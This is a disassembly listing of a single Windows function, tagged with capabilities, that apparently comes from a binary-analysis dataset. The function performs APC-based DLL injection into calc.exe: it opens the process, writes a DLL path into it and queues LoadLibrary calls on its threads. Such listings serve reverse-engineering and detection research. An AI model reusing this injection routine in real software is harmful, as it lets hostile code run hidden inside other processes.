Function at 0x411040
Capabilities:
Enumerate process modules
Enumerate threads
Inject apc

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x698
mov eax, dword [0x440008]
xor eax, esp
mov dword [esp + 0x694], eax
movups xmm0, xmmword [0x43af2c]
push esi
push edi
movups xmmword [esp + 0x470], xmm0
movups xmm0, xmmword [0x43af3c]
movups xmmword [esp + 0x480], xmm0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, str.calc.exe
mov dword [esp + 0x14], 0
call fcn.004125a0
mov edi, eax
test edi, edi
jne 0x4110c8
mov ecx, str.win32calc.exe
call fcn.004125a0
mov edi, eax
test edi, edi
jne 0x4110c8
mov ecx, str.GetProcessIdFromName
call fcn.00411970
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x694]
xor ecx, esp
call fcn.0041396d
mov esp, ebp
pop ebp
ret
push 0x436ddc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
test esi, esi
jne 0x4110f9
mov ecx, str.GetModuleHandle
call fcn.00411970
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x694]
xor ecx, esp
call fcn.0041396d
mov esp, ebp
pop ebp
ret
push str._t___Looking_for_LoadLibrary_in_kernel32_n
call fcn.00409e40
add esp, 4
push 0x43b04c
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x24], eax
test eax, eax
jne 0x41113a
mov ecx, 0x43b05c
call fcn.00411970
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x694]
xor ecx, esp
call fcn.0041396d
mov esp, ebp
pop ebp
ret
push eax
push str._t___Found_at_0x_p_n
call fcn.00409e40
push edi
push str._t___Getting_proc_id:__u_n
call fcn.00409e40
add esp, 0x10
push edi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [esp + 0x10], eax
test eax, eax
jne 0x411189
mov ecx, 0x43afe0
call fcn.00411970
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x694]
xor ecx, esp
call fcn.0041396d
mov esp, ebp
pop ebp
ret
push 0
lea eax, [esp + 0x494]
push eax
push 0x104
lea eax, [esp + 0x47c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
lea eax, [esp + 0x490]
push eax
push str._t___Full_DLL_Path:__s_n
call fcn.00409e40
lea ecx, [esp + 0x498]
add esp, 8
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4111c5
sub ecx, edx
sar ecx, 1
push str._t___Allocating_space_for_the_path_of_the_DLL_n
lea esi, [ecx + ecx]
call fcn.00409e40
add esp, 4
push 4
push 0x3000
push esi
push 0
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov dword [esp + 0x18], ecx
test ecx, ecx
jne 0x411211
mov ecx, 0x43b138
call fcn.00411970
jmp 0x411394
push ecx
push str._t___Writing_into_the_current_process_space_at_0x_p_n
call fcn.00409df0
add esp, 8
lea eax, [esp + 0x490]
push 0
push esi
mov esi, dword [esp + 0x20]
push eax
push esi
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x41124c
mov ecx, 0x43b190
call fcn.00411970
jmp 0x411382
push 0
push 4
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [esp + 0x20], eax
cmp eax, 0xffffffff
je 0x411382
lea ecx, [esp + 0x2c]
mov dword [esp + 0x2c], 0x1c
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x411378
nop
cmp dword [esp + 0x38], edi
jne 0x411352
push dword [esp + 0x34]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [esp + 0x28], eax
test eax, eax
je 0x411352
push esi
push eax
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_QueueUserAPC]
test eax, eax
je 0x411341
push edi
push 8
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x41133d
lea eax, [esp + 0x48]
mov dword [esp + 0x48], 0x428
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32FirstW]
test eax, eax
je 0x411321
nop dword [eax + eax]
lea eax, [esp + 0x470]
push eax
lea eax, [esp + 0x6c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x411319
lea eax, [esp + 0x48]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0x4112f0
jmp 0x411321
mov dword [esp + 0x1c], 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
mov ecx, 1
cmp dword [esp + 0x1c], 0
cmovne eax, ecx
mov dword [esp + 0x14], eax
mov esi, dword [esp + 0x18]
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x14], 0
jne 0x41136b
lea eax, [esp + 0x2c]
push eax
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x411280
jmp 0x411378
push str._t___Dll_has_been_injected_successfully_..._n
call fcn.00409e40
add esp, 4
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push esi
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x69c]
mov eax, dword [esp + 0x14]
pop edi
pop esi
xor ecx, esp
call fcn.0041396d
mov esp, ebp
pop ebp
ret